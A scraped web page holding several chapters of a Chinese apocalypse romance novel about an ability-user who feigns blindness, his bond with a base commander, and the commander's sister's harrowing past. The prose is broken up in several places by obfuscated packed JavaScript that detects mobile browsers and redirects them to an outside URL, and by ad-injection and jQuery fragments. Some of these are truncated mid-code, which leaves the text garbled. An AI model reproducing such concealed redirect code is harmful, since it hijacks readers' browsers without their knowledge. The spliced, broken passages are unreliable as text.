;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223148|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小时是时候回家了。 刘磊承自告奋勇:“我送霍哥回去吧。” 刑厄家的地址之前也是刘磊承发给霍序则的,霍序则中午淋了场雨到老大家,被刑哥二话不说直接拉进门洗澡。 刘磊承那时一脸懵逼看着从卫浴间冲出来的老大“低气压”地擦着客厅地板的水渍,生怕自己一不小心被刑哥刀了。 而霍序则以为刑厄明天就要出基地做任务,今天看起来不忙应该会选择自己送他,谁知刑厄却同意了刘磊承的提议。 当霍序则返回别墅,告别完小副官,正在玄关换鞋。 玄关的仪容镜正对着门口,霍序则将带回来的电饭锅随手往鞋柜上一放,看着镜中的自己。 他现在身上穿的还是在刑厄家洗澡后换上的刑厄的衣服。 霍序则与刑厄身高相仿,衣服肩宽、长度都算合身,只是霍序则自己在末世后像是几乎戒掉了吃饭这一人类生存本能,过薄的胸背让他哪怕穿着刑厄的衣服也和刑厄穿出来完全是两种风格效果。 刑厄穿起来更笔挺精神,霍序则认真鉴定得出结论。 这时,他的手机响了。 霍序则瞥了眼来电显示,刚好是今天和他闹绯闻吃着碗里看着锅里的“渣男基佬”男主角——梁幸。 霍序则人前人模狗样,人后却连腰背都懒得挺直,他整个人懒散地向后往入户防盗门背上一靠,点开通话。 “你大爷的霍序则,你那什么狗屁高中同学,他妈的他自己上赶着抢外出任务,现在怕危险又要求我陪同外出???” 手机扬声器中,梁幸气急败坏,劈头盖面一通怒骂。 “我陪他大爷!老子好不容易排上的相亲会面就被他给搅黄了!” 18. 咸甜粽子 第二天凌晨4点,霍序则床头的手环闹钟准时响起。 几乎在铃声响起的同时间,床上的霍序则睁开眼。 他雾灰色的眸底没有半分睡意,也没有丝毫赖床的意图,很快从床上翻身坐起。 黑暗的独栋别墅三楼卧室内,两米高的巨型灰黑色蜘蛛大喇喇叉着八条腿横踞在床头,其中一只腿还以一种扭曲的弧度微微倾斜着。 是霍序则半个月前亲自动手掰折的。 霍序则一动,本来八只眼睛齐齐死盯着床上人的蜘蛛一下子蹿上天顶。 霍序则打开灯,确认卧室昨夜依旧没被蜘蛛网占据,这才轻笑了下:“怎么,想趁我睡觉弄死我?” 跟别的异能者与精神体的关系不同,明明精神体和异能者之间高度共感,一荣俱荣,一损俱损,但霍序则与自己的精神体却是个例外。 霍序则不止一次为了“失明”,亲手戳瞎自己的精神体眼睛,霍序则的精神体是蜘蛛,一种多眼复眼生物,霍序则要看不见,每次动手,同样的恐惧疼痛也要反复八次。 他的精神体怕他,大概也恨霍序则。 精神体实体化程度再高,它也只是个精神体,而且就算是一只真蜘蛛,也不可能开口回答霍序则的话。 霍序则不在意,他有时候很难分清现实与虚幻,特别是夜深人静独处的时候,他偶尔开口对着虚空说话,有没有话语回应对他都一样。 从三楼卧室下到二楼餐厅里的开放式厨房。 霍序则检查了下岛台上提前泡好的糯米,又从冰箱取出昨晚腌制的五花肉和咸蛋黄。 他将气味清新的粽叶放进水池重新冲洗了遍,顺便在糯米中撒了点盐和老抽调味,随后手法纯熟地开始包起了粽子。 准备工作都是昨天提前做好的,所以霍序则没有花多长时间就包了七八个咸蛋黄肉粽出来。 霍序则本人偏爱咸口,从小到大吃粽子也只吃咸粽,但他包完七八个粽子后,手上动作慢下来。 末世前,甜咸粽之争从来没有输赢定论,口味上来说北甜南咸,他这个南部基地过来的人到了北部基地是不是也该入乡随俗? 霍序则放下手边的粽叶,打开冰箱找了找。 很可惜霍序则家里半颗红枣都没有,翻了半天只翻到一盒葡萄、几个柠檬和半边菠萝的霍序则叹了口气。 ……他不爱吃酸的,总有人吃的吧? 早上6点10分的北部基地大楼。 南部基地合并进北部基地后,梁幸第一次出外勤任务。 梁幸的舅妈一早起来给梁幸做了早餐,又在梁幸的百般推辞下坚持送侄子到出发集合地点。 “阿姨、梁幸。”蒙着白丝巾的霍序则站在北部基地大楼后门口台阶最边沿,朝他们走过来的方向闲闲招了招手。 “你小子这么早在这干嘛?”梁幸一脸见了鬼的表情,挑起一边眉毛,“你不是昨天被我骂了,在这等了一夜等报仇吧?” 霍序则不理梁幸的小人之心,对着梁幸身后的舅妈礼貌问好:“阿姨,好久不见了。” “是小霍啊。”梁幸的舅妈六七年前第一次送梁幸上大学时就见过霍序则。 一晃末世都五年了,一切物是人非。 霍序则从前在南部基地,最初因为家里出事避世不太见人,后来慢慢恢复了和梁幸的联系,但为了防止他触景生情,也很少跟梁幸的舅妈接触。 梁幸的舅妈甚至不知道霍序则的眼睛什么时候“瞎”了。 “小霍……最近还好吗?”梁幸的舅妈没敢直接问霍序则的眼睛。 霍序则面色自然,点头应答:“都好。” 出发前,梁幸还要跟任务发出的部门再次核对任务信息细节,他们就站在基地大楼门口说,而霍序则陪着梁幸的舅妈在一旁聊天。 刑厄从基地大楼出来时,看到的就是这样的画面。 恋人外出任务,霍序则清早起来与恋人的亲人一起为他送行。 刑厄的脚步突然顿住,跟在他身后的刘磊承一个急刹,差点撞上上级的后背。 刘磊承没刑厄高,不解抬头:“刑哥?”才问完,余光已经发现了大楼外站着的霍序则。 “咦,霍哥今天也这么早就出门了?”他刚下意识奇怪,距离霍序则不远处的梁幸似乎跟研究院工作人员聊完了,朝霍序则所在方位走了过去。 “……哦,来送那个梁幸的。”刘磊承恍然大悟。 刑厄站在原地,在看见霍序则就在基地大楼门口后,没再向前走一步。 刘磊承看看外面的霍序则,又看看面前的老大,心里觉得老大一定在为霍哥男朋友其实是个骗婚出轨男烦恼。 “刑哥,我觉得那件事霍哥有知情……”权。 刘磊承话没说完,基地大楼外的霍序则若有所感“望”向基地大楼后门:“是小刘副官吗?” 刘磊承忙不迭应了声,刚准备问刑哥意思,刑厄已经走了出去。 霍序则今天不知是眼睛不方便看不到没换衣还是早起赶时间没来得及,他身上依旧穿着刑厄昨天临时给他找来换洗的衣物。 他浅笑盈盈朝基地大楼门口走来,用作盲杖的雨伞不小心错开了一层台阶,直接在第二层点了下地,眼见霍序则抬脚,刑厄两步跨下台阶,扶了他一把。 搀扶手臂的力道一触即分,而走过一次的地方绝对不会踏错一步的霍序则坦然自若跟人道谢。 “谢谢。” 身后的梁幸冷眼看着,鼻息发出“哼”的一声。 霍大少爷不止装瞎上瘾,被人照顾伺候也上瘾了吧? 霍序则只当没听见:“还好时间正好,我还怕你们提早出发呢。” “我来送送你。”他侧了下头,露出左边脸上浅浅的酒窝。 刑厄当然不会自作多情认为霍序则是专程来送自己的,他最多是那个“们”,但这不妨碍他听到这句话时,喉结不受控滚了滚。 霍序则扬起自己的右手,他的右手上拎着个容量巨大的不锈钢保温桶。 将保温桶塞进刑厄怀里,霍序则说:“送行礼物,可以路上吃。” 刑厄下意识托住保温桶底部,低头问:“什么?” “粽子。”霍序则变戏法似的不知从哪里又变出了个单只的三角粽,握在右手掌心晃了晃,“过两天就到端午了,担心你们来不及赶回来所以提前做了几个。” 说是几个,霍序则给的保温桶却分为上下三层,提前放凉的粽子在最下层,中层是刚出锅的,而最上层则是连粽叶都已经服务周到剥好了的软糯甜粽、肉粽各两个。 霍序则准备充足,说:“不知道你吃过早饭了没,如果没吃,一会儿上车就能直接吃第一层的,我在里面放了两把小叉子。” 拿着保温桶的刑厄怔了下还没说话,这时,梁幸从霍序则身后冷不丁冒出来,幽幽问:“我的呢?” 霍序则面不改色:“你的份给阿姨了。” 只是霍序则料定今早会碰见梁幸的舅妈,所以给他舅妈的那份都是生的便于保存,等梁幸的舅妈什么时候想吃粽子了再随蒸随吃即可。 梁幸“操”了一声,心想霍序则这家伙昨天骂了他两句泄愤还他妈记上仇了! “霍序则你……” 梁幸本来想拖着好友去边上好好算账,毁人姻缘到底谁比较过分!不过当梁幸视线往下,刚抓上霍序则的手臂,突然觉得霍大少爷这身衣服挺眼生的。 末世前,霍序则家世背景雄厚,霍少爷平时还算低调不会刻意炫富,但霍序则内里其实是个非常讲究的人。 他的衣服、裤子、鞋,哪怕现在末世都进入第五年了,但你只要稍微细心观察霍序则身上的衣物,面料、款式、花样就是他妈的跟别人不一样! 可今天—— “这不是你的衣服吧?”梁幸扒拉着霍序则的衣服领口狐疑。 霍序则动了下肩膀给人甩开,心下十分无奈,也怪不得从前在南部基地就惹人误会,梁幸这种直男真的完全不知道同性之间分寸距离为何物。 而梁幸不放弃,好不容易抓到点霍序则的把柄必须追根究底!谁知手才又伸向霍序则,半路却被另一只手给拦了下来。 “怎么个意思?” 梁幸皱起眉,气势汹汹扫向另一只手的主人。 刑厄的副官刘磊承在一旁紧张地看着一下子剑拔弩张的两大南北基地代表异能者,差点以为他们要打起来。 “该出发了。”刑厄淡淡说。 然而他抓着人的手却没第一时间松开,手背青筋经络微凸,显然也没有卸力。 梁幸这人是个超级洁癖,双标得很,从来只能他主动碰人,别人不许碰他,他舌尖顶了顶下颚,眯起眼睛刚要回话。 霍序则突然开口截断:“阿梁。” “阿姨还在等你道别。”他说。 多年好友,生死局无数,霍序则当然知道梁幸的软肋在哪,这会儿他搬出梁幸的舅妈,梁幸长呼出口气,狠狠甩开刑厄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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仿佛为了保持身体镇定平衡,刑厄的双手不自觉紧握成拳紧贴裤缝,反问:“你呢?” 这么烫的粽子,拿在手里不烫吗? 霍序则笑了下,也摇头:“我有纱布隔着。” 说起纱布,刑厄眉心又拧了起来,他想到霍序则掌心的伤半个月了还没恢复,是不是该让刘磊承安排医生去给霍序则看看? 还有霍序则的眼睛,也该尽早安排检查再确定治疗方案。 而刑厄走神想到这点时,手还放在人后脑勺上的霍序则也同步接收到了这一心声。 掩在白丝巾下的眼睫微微颤动。 他有些无奈,越来越无奈。 霍序则发现自己对刑厄这个人似乎没有办法。 半个月前那个路灯熄灭的夜晚,一个处理过无数个棘手高危感染者的基地首席执行官,精神体被放出到他身边的本能反应竟是想要去咬霍序则手上具有传染性的蛇。 除了关心则乱,霍序则找不到第二个理由解释白狮当时没有任何自我保护意识的反常行为。 所以他尝试回馈感谢对方点什么,为了精神体那一刻反映主人意志的奋不顾身。 可刑厄又好像什么都不要,什么也不求。 那晚之后,刑厄进了观察中心,他的精神体白狮在霍序则别墅外的花园里守了他半个月,却一直近乎苛刻执拗地维持着安全距离。 再后来,刑厄出了观察中心又马不停蹄领了本不该属于他的高危外出任务,霍序则只能主动去找对方。 然而不过送了只烤鸭作为答谢的霍序则回到家,好友打来电话骂他,告诉他刑厄搅黄了自己的相亲。 在误会了他和梁幸关系的情况下,刑厄亲手破坏了梁幸的相亲…… 包着纱布的右手掌心下是看起来坚硬刺头一般的板寸发茬,实际摸起来又那么乖顺柔软。 霍序则的右手久久没有从刑厄的后脑勺上移开,而下一秒他深吸口气,终于放纵自己左手放开手中充当盲杖的伞,环上面前人劲瘦精干的腰身。 “梁幸在大学追的每一任女朋友,都是用我做的僚机衬托,他在空乘专业把我塑造成一个花花公子的形象,害我至今都是单身。” 你搅黄他一次相亲,就算替我报仇该他还的。 压下心口千头万绪用力抱了下刑厄,霍序则在对方耳边虔诚祝愿。 “一路顺风,平安回来。” 19. 别睁眼 霍序则承认自己有时候有些恶劣因子作祟。 明明接到梁幸电话的那个下午就可以解释,一句话的事情,可好友在电话中“你大爷”来“你大爷”去的骂爽了,霍序则不回嘴却一声不吭偏偏就憋到临出发前一刻才毫无征兆澄清了关系。 外出脱离基地的保护始终危险,南北基地两大异能者互相有个照应倒也不错。 挥手道别完走神走到天外彻底愣住了的刑厄和一脸懵逼的好友。 霍序则在回程路上,收到梁幸一条60s语音都承载不下的“亲切问候”。 “粽子有二十个,你的大爷我的高中同学再加上他的精神体狮子一起吃也吃不完,你就吃他挑剩下的吧。” 霍序则闲闲回过消息去。 末了,才又加了句:“有两个香蕉口味的,自己找找,注意安全。” 梁幸的精神体是大猩猩,从前在南部基地时一次出任务,梁幸的精神体打完丧尸,不知从哪儿捧了一满怀香蕉回来,惹得当时几个一起的任务伙伴笑了梁幸半个月。 梁幸收到霍序则的语音,气得两个小时没理他,两个小时后梁幸的对话框中什么话都没说,对方给了他拍了张刑厄的照片过来。 看角度应该是偷拍的,刑厄在开车,梁幸大老爷似的坐在后排,只拍到了刑厄头型十分圆润标准的后脑勺。 哦,还有对方连开车都执着攥着没放的一颗三角粽。 霍序则过目不忘,一眼认出是清晨在基地大楼送行出发前—— 自己给刑厄揉过脑袋的那颗。 霍序则婉拒了梁幸的舅妈邀请他端午去她家吃粽子的邀约,只说自己有工作在身可能没法赶过去。 但其实刑厄跟梁幸离开基地之后的几天,霍序则两次去到刑厄家探望刑厄的妹妹,刑运总是对他客气异常,从不让他下厨,一切事务也从没向他求助要帮过忙。 刑厄的妹妹好像有很多心事? 霍序则的精神丝之所以会常常无意识探听他人的情绪和想法,更多的原因还是在于那是霍序则脑域异能的一种不受控侵略性扩张的行为。 精神丝的四溢除了传递出他人心声,也同样有感染他人精神及其脑域神经系统的风险,所以霍序则在接触没有身体强化的普通人时,会更加小心控制自己的精神丝少去触碰他人,甚至尽量减少与他们的交流。 刑厄妹妹的脊柱神经问题,霍序则探查过两次过后得出的结论是,可以帮助恢复,但…… 有极大的可能性在自己运用异能期间感染刑运。 霍序则在犹豫,也在尝试寻找其他办法。 端午当天一早,霍序则接到刘磊承的电话,告诉他今天不需要去探望刑运。 因为即使是基地首席执行官的妹妹,按照基地律法,刑运因其适龄女性的身份也必须履行至少一周一次频率的相亲安排。 好在只是相亲,北部基地并无强制婚配机制。 霍序则没了事,白天在家做了一天卫生,到了晚上才慢慢下厨做了顿晚餐。 由于刘磊承交代过物资处的缘故,物资处不再往霍序则家送肉制食品,所以霍序则在端午这天做了末世时期算得上丰盛的三菜一汤,却全都是绿油油的,饮食过分健康…… 摆放碗筷时,霍序则这次还是拿了四副碗筷,分别摆在自己、自己餐桌位置的相邻座位和正对面两个餐座前,但只有他座位前的碗里是空的,没有装任何主食。 霍序则做饭没系围裙,身上衣服的胸口有处黄色油渍大概是做菜时不小心被锅里的油溅的。 他在餐桌前干坐了二十分钟,连筷子都没有拿起来过,二十分钟后霍序则起身,突然对着餐桌对座说了句:“那我上楼换件衣服。”然后往三楼卧室走。 回到别墅三层卧室,霍序则打开衣柜,还没找出新的衣物,脸上先露出些许无奈神色。 他开口,带着九分无奈,一分撒娇:“妈,您就别念我了,下次不偷懒了,一定带围裙行吗?” 脱下身上的T恤,霍序则背对着卧室房门,又扭过脸对着房门口说:“您儿子都这么大了,换衣服您回避一下,今天我自己洗衣服,由心的我也……” 霍序则嘴中的“也”字刚刚出口,他赤着上身像是突然反应过来什么,口中的话戛然而止。 霍序则带着神秘花纹的瞳孔安静环顾四周,目光冷静犀利,如同是在搜寻什么,又像是审视分辨什么…… 在他人看起来必定除了他自己空无一人的独栋别墅卧室中,霍序则原地站了许久,随后神色如常重新继续换衣,然后将从前从不机洗的刺绣T恤扔进了洗衣机。 二楼餐厅无人动过筷子的三个菜还原封不动放在桌上,霍序则临睡前才拖延着收了碗将他们打包放进冰箱。 清洗厨具的时候,霍序则认真考虑,让隔壁家异能者别墅院子里养的狗扭转口味吃素的可能性有多少? 凌晨1点16分,霍序则摆在卧室床头的身份手环突然响起。 南部基地合并进北部基地以来,霍序则在北部幸存者基地新接触的每一个人都知道霍序则更习惯用手机,而且他们日常也都在用手机联系霍序则。 手环铃响时,躺在床上的霍序则猛然睁眼,仿佛刚从什么可怖梦魇中惊醒,胸口一呼一吸起伏剧烈,坐起身闭了闭眼才拿过床头手环。 “喂。”霍序则竭力平复呼吸,抬起手肘随手抹了把满额冷汗,声音听不出半点端疑。 手环那头静了两三秒,霍序则没有着急催促也没有恼怒地切断深夜扰眠的通话,直到他听到手环对面传来一个声如蚊蚋的女声。 是……刑厄的妹妹,刑运。 “哥哥,我家客厅…窗户在响。” 刑运没称呼霍序则的名字,没有前缀,直接叫了他“哥哥”。 她的说话声很小,不同于之前跟霍序则面对面交流时那种“害羞文静”的小声,刑运今夜将声量压到了最低,犹如气音。 然而霍序则在听到刑运的这句话后,几乎是一瞬将手环戴到手腕上,同时人已经从床上站了起来。 “别出房门,装睡等我。” 静谧深夜,霍序则镇定的嗓音温柔如水,安抚人心:“听到什么都不要睁眼,我马上到。” 今日基地天晴,夜半也没有骤雨,风平浪静,刑运告诉霍序则“窗户在响”,极可能意味着窗外有人。 霍序则是脑域进化异能者,技能点基本都点在了发达的脑域神经上,按道理他的行动速度比不上身体强化异能者。 但当霍序则到达刑厄家住户楼所在区域,距离他接到刑运深夜打来的手环通讯只过去了不到六分钟。 霍序则悄无声息上楼的同时间,刑厄家所在的居所外一只高达两米,八条腿完全伸展开长约七八米的巨型蜘蛛攀爬在住户楼外壁墙体上。 巨型蜘蛛的四排八只眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223150|139399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧紧盯住住户楼外,一处诡异打开着的居户窗口。 那个窗户外围拦着的防盗网中间像是被什么锋利的东西切割出了一个正方形缺口,缺口恰好可容一人爬行钻入。 正是刑厄家客厅窗外的防盗网。 其实刑运在深夜发觉家中异响,会选择联系霍序则这件事本身有些不太合常理。 霍序则在他人眼中是个不能自理的废物瞎子,比起霍序则,从前刑厄离开基地期间一直负责照应刑厄妹妹的副官刘磊承,在这种时候显然会比霍序则更显得合适可靠。 而且哪怕霍序则阻止自己的精神丝探听她人心声,根据近段时间与刑厄妹妹的短暂交集接触,他也能感觉出刑运在小心翼翼避着自己。 然而不论多突然、意外、不合情理,刑运遇到紧急危险联系霍序则的举动又恰恰歪打正了着。 霍序则的精神丝无形无碍穿越对于它来说形同虚设的入户防盗门,立即接收到客厅内在试图打开刑运所在卧室门的人影情绪信息。 报复? 被拒绝后,心有不甘,怀恨在心? 这个人竟是刑运今天白天刚刚约见过的相亲对象。 霍序则骨节匀称的手指轻触防盗门,他停顿一秒,又收回手。 下一刻,三条细如钢丝的铁灰色蜘蛛丝分别缠住了霍序则的腰部及双臂,将他直接从住户楼走廊窗口一瞬拽出拉至楼外,最终刚好悬停在先前蜘蛛发现防盗网损坏,窗户大敞着的那处窗口。 巨型蜘蛛干脆无声将坏了的防盗网整个强行掰弯出一个硕大缺口,霍序则抬起长腿,躬身踏入窗内。 他的精神丝先前在门口提前封闭了客厅内隐藏着的那人的听觉,夜晚太安静,那人到现在都没察觉异常。 霍序则慢慢靠近那人,在几乎完全贴靠到那人后背那刻,他撤掉精神丝干预,冷冷开口:“开房门想做什么?” 黑暗的客厅中,那人身体陡然一震,下意识后退了一步,却恰好撞在霍序则的胸口,随即又猛地往前扑倒摔到地上,猝然回头。 “是谁!” 即使是在能见度极低的黑暗中,也能看出地上那人身形不住颤抖的虚影。 …… 距离刑运深夜联系霍序则过去的十分钟后,刑运的房门终于被人从外打开。 刑运的床沿边放着一张轮椅,始终紧闭双眼躺在床上的刑运听到轮椅被人轻轻推动开的声响,随即头顶传来一个好听的男声。 “别睁眼。”霍序则高大的身影立在床边,静静开口。 然后,刑运颤动的眼睫上有什么微凉丝滑的东西轻轻覆在了上面。 霍序则修长的手指放开睡前随身塞在卫衣口袋中的白丝巾,没有了平日出门时遮挡的雾灰色双眸望着床上的少女,凝视片刻,俊颜上高挺隆起的眉骨微微上挑。 有一点意外。 因为担心眼神对视时,精神丝或多或少会通过对方的眼睛直达入侵他人脑域。 即便是霍序则第一次在刑厄家淋雨洗澡后没佩戴遮挡物,他每一次与普通人不经意对视也都用了自己的异能介入,短暂干扰封闭了自己的眼部视觉神经系统。 所以直到今晚,霍序则其实才算第一次真正看到刑厄妹妹的模样。 原来……是她。 “已经没事了,再睡一会儿。” 霍序则俯身替床上的女孩掖了掖被角,转身离开刑运的房间。 20. “厄”与“运” 刑运躺在床上听见房门关上的声音。 她慢慢从薄被中伸出一只手,拿下眼睛上盖着的柔软丝巾。 刑运见过霍序则,在霍序则作为哥哥的高中同学到他们家做客以前。 刑运出生在一个十分复杂的家庭,说是家庭,其实也不知道能不能叫做家庭。 刑厄和刑运的母亲是被拐卖的,他们的“父亲”家里买了他们的母亲,但母亲不从,屡次企图逃跑,最终被终日锁在一间暗无天日的鸡舍之中,一锁就是八年。 而在那间穷乡僻壤叫天天不应叫地地不灵的恶臭鸡舍里,刑厄出生了。 伴随着母亲的嘶喊痛苦,人性的肮脏,降临到这个人世。 后来,母亲的家人找到母亲,母亲获救了,但八年的非人折磨让刑厄和刑运的母亲精神失常。 母亲被救走那年,刑厄两岁,刑运还在母亲的肚子里,九个月。 小时候,刑运无意间听母亲的父母深夜谈起过,在哥哥刑厄出生以前,他们的母亲原来也怀过孕,很多次,但都在早期就流了产。 母亲不想生下畜生的孽种,拼了命寻死也不愿意留下孩子,直到母亲最后神志不清,才有了漏网之鱼。 哥哥和她,都是漏网之鱼。 刑运那时候其实听不太懂那些,但等她大了点,她也不知道为什么自己会记得深夜哭着起床找哥哥时听到的那些话。 而且一记好多年。 母亲的父母不是刑厄和刑运的外公外婆,他们的母亲不姓“刑”,他们的“父亲”,也就是母亲父母口中的畜生也不姓“刑”。 刑厄和刑运的“刑”,是刑罚的“刑”。 “厄”、“运”是他们降生这个人世,代表的意义。 刑厄七岁,刑运五岁那年,他们母亲的父母遭遇意外去世,母亲神志不清,赔偿款连带父母的房子都归了与母亲一样姓氏的“亲人”。 但那些母亲同姓氏的“亲人”收了钱和房子,却并不管他们的母亲,当然更不可能管他们。 刑运至今不知道,后来哥哥用了什么方法要回了母亲的房子,才让他们有个遮风挡雨的居所,不至于流落街头。 再后来,刑运七岁,也就是跟两年前的哥哥曾经彻底失去庇护,整日出门只为他们一家三人一口饭挣扎的年纪,刑运在踩着凳子收衣服时,被发病的母亲从三楼阳台推下了楼。 刑运从娘胎里就营养不良,出生时只有三斤半不到,后来慢慢长大也一直看起来比同龄人小上许多。 刑运在遮雨棚上一个人躺了很久,很久,从天空中刺眼的太阳转换成夜幕星辰。 当刑运忍住满眶泪水好不容易从遮雨棚自己滑落下地,距离哥哥刑厄回家的时间已经很近了。 那天半夜,哥哥回家时,已经躺上了床的刑运在哥哥进房询问要不要起来吃点他带回来的东西的时候,没有告诉哥哥她摔下楼的事。 哥哥什么都不知道,直到忍了两天身体钝痛的刑运有一天早上想要从床上爬起来,发觉自己的下半身毫无知觉,一动都不能动了。 而那一年,刑厄才九岁,家里一疯一瘫,而哥哥……只有九岁。 刑运遇见霍序则那年,她刚做完一次脊椎神经手术,手术加住院费几乎花去了哥哥从母亲的“亲人”那里拼了命要回来的当年母亲父母过世全部的赔偿金。 为了要回那笔赔偿金,哥哥差点死了,又差点坐牢,也因为那样,哥哥被高中学校开除,他努力了那么多年,不吃不喝不睡也咬牙没放弃过的学业,转眼都成了泡影。 但,刑运的脊椎手术恢复结果却不理想。 甚至比手术前还要更差。 手术后,刑运时常感觉自己的双手也开始偶尔发麻,胸口呼吸越来越费力。 终于有一天,在哥哥出门去修车行帮工时,刑运拿起了厨房砧板上放着的菜刀。 她想,她该有个了结,在自己还有能力了结以前。 她厚着脸皮拖了太久,十几年前她其实就根本不该出生。 然而,在刑运握着刀柄动手前,厨房门被突然撞开。 因为家里有个不可控的精神病人,他们家的厨房平时都是上着锁的。 刑厄和刑运各有一把厨房的钥匙,而厨房内部也有锁栓,但那一天,厨房的门还是被从外撞开了。 刑运拿着刀与披头散发闯进来的母亲对视。 那一刻,她知道母亲是清醒的,母亲对她说:“我们离开这里,不要再拖累他。” 刑运几乎算是刑厄一口一口从嘴里省出来的吃的养大的,而母亲在她的父母死后也差不多。 “好。” 刑运很少哭,或许是受了哥哥的影响,那天刑运紧握着菜刀应那声好时,是她懂事以后记忆中第一次流泪。 母亲带着刑运走了,他们没多少钱,也不知道到底该去哪里。 他们只是达成一致,要走得远远的,哪怕是死也要死得离哥哥远一点,不要让他再为他们费心。 而初遇霍序则,就是在那场不明目的地的“逃亡”尾声。 那天下午,刑运和母亲辗转到一处小县城的汽车站,他们在换乘的中途,因为刑运腿脚不便坐着轮椅的问题,被客车司机所嫌弃厌恶。 他们买了车票,客车上没人愿意帮着抬刑运上车,司机冷眼旁观作势要关车门,她们却同时还被告知车票不可退换。 母亲不服,拦着不让客车关闭车门,司机看也不看就要按下关门键。 这个时候,一条有力的臂膀伸至车门处,代替母亲按住了车门。 臂膀的主人,就是霍序则。 还没有失明,很健康、高大、俊朗的霍序则。 那天霍序则的身上穿着一件很笔挺好看的飞行员制服,霍序则很高,特别高,穿着那件制服的霍序则就犹如真的从天而降。 哥哥在被高中开除一年半后,进了一家修车行做学徒。 刑运问哥哥将来要修车吗? 哥哥当时刚进家门,满身都是机油,严重睡眠不足让哥哥看起来疲惫不堪,可哥哥回答刑运这个问题时,目光很坚定,仿佛眼中有光一闪而过。 哥哥说:“修车是暂时的,将来我想修飞机。” 从小到大,刑运其实从没听过哥哥说“想”,想什么都好,那是刑运第一次听哥哥说“想”,第一次刑厄的眼底深埋渴望。 哥哥想修飞机,所以刑运从那天起,不自觉开始关注与飞机相关的一切人、事、物。 而当霍序则在那个寒冷的冬日午后从天而降,刑运便一眼认出对方敞开的大衣里面穿的是一件飞行员制服。 刑运被霍序则抱上了大巴车,在车座上弯腰放下她后,还顺手替刑运系了安全带,随后对方又下车替她收了轮椅放进大巴行李舱。 再然后,做完这些的霍序则还没离开,而是在车外对司机说了句等等。 两分钟后,霍序则又一次跑着折返上车,他站在大巴车头驾驶座边跟司机攀谈。 刑运从座位缝隙间看到,霍序则递给了司机两包烟。 ——是对方刚刚在车站内小卖部扫码买的。 这次霍序则没再往车厢内走,他只是下车前自然地回了下头,一直望着车头位置的刑运猝不及防与对方对上视线。 霍序则对她露出一个笑容,又摆了摆手,像是在挥手道别,而司机此时也回头向刑运的车座看过来。 于是刑运注意到了司机看过自己一眼后,扭头对着霍序则下车的方向点了下头。 像是完成某种协定交接。 客车开动出站后,刑运靠坐在车窗位置,再一次看到了霍序则。 无论是挺阔的大衣还是内里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 英气逼人的飞行制服,在那个乌烟瘴气混乱嘈杂的车站外,这样的霍序则都太过惹眼,刑运坐在缓慢出站的大巴车上,看到对方正蹲在一辆一看就很名贵的车边吃臭豆腐。 飞行制服与臭豆腐。 这两样毫不搭边却又在一个人身上完美融合自洽的东西,直到刑运后来从医院中醒来,都依旧在她一片混沌的脑子里不停地转着。 那天下午,刑运和母亲所乘坐的那辆大巴车在路上追尾了一辆大货车,随后失控翻滚下了高速路。 那样的大巴车上,很少有人会认真系安全带。 大巴车翻滚时,车里没有系安全带的乘客有的从碎裂的车窗玻璃处飞了出去,也有的在车厢内被甩出座位很远挤在变形的大巴车中拉都拉出来。 刑运的母亲也没有系安全带,她在那场车祸事故中丧生了。 而系着安全带的刑运逃过一劫从医院中醒来,睁眼看见了守在病床边双眼布满血丝的哥哥。 …… 霍序则走出刑运的房间,并没有立即离开刑厄家。 客厅里,躺在地上昏迷不醒的人上方,一只巨型蜘蛛正尝试用自己的一条尖细长腿戳弄对方。 霍序则难得在清醒时没管自己的精神体,而是坐在了刑厄家客厅的沙发上,燃起了一支烟。 烟盒和打火机是霍序则刚刚在客厅地上那人身上搜到的,搜身的时候精神丝不可避免入侵了对方脑域。 于是霍序则知道了这人深夜潜入这里的原因。 这人以为自己感染了丧尸病毒,他不想死,千方百计抢占上基地首席执行官妹妹的相亲号,以为只要成功搭上刑运的关系,自己就能被执行官特殊留情? 太天真,太愚蠢。 也太不了解刑厄。 霍序则没什么情绪波动地想。 而在刑运今天白天就明确拒绝了这人后,求生的本能又让对方孤注一掷铤而走险…… 霍序则盯着指尖猩红一点的卷烟,冷漠麻木地看它一点一点慢慢燃烧变短,消失殆尽。 世界上的事总是这么滑稽可笑,明明没有感染的人,因为惊慌忌惮夜潜他人居所。 而现在,他真的被感染了。 被……霍序则感染了。 如果此刻有人能打开灯站在光线足够的客厅仔细观察,就会发现霍序则夹烟的修长指尖其实在微微颤抖。 不受控地颤抖。 在这种竭力控制下依旧无法自控的微小颤抖中,一滴冷汗顺着霍序则流畅利落的下颚线滚落,而他本人却在这种时候走神想到了另一件事。 霍序则从小记性好,可以说过目不忘。 他记得刑厄的妹妹,那次是他们专业在一个小镇上的飞行基地集训,梁幸的舅妈放心不下,跟来要看看基地情况。 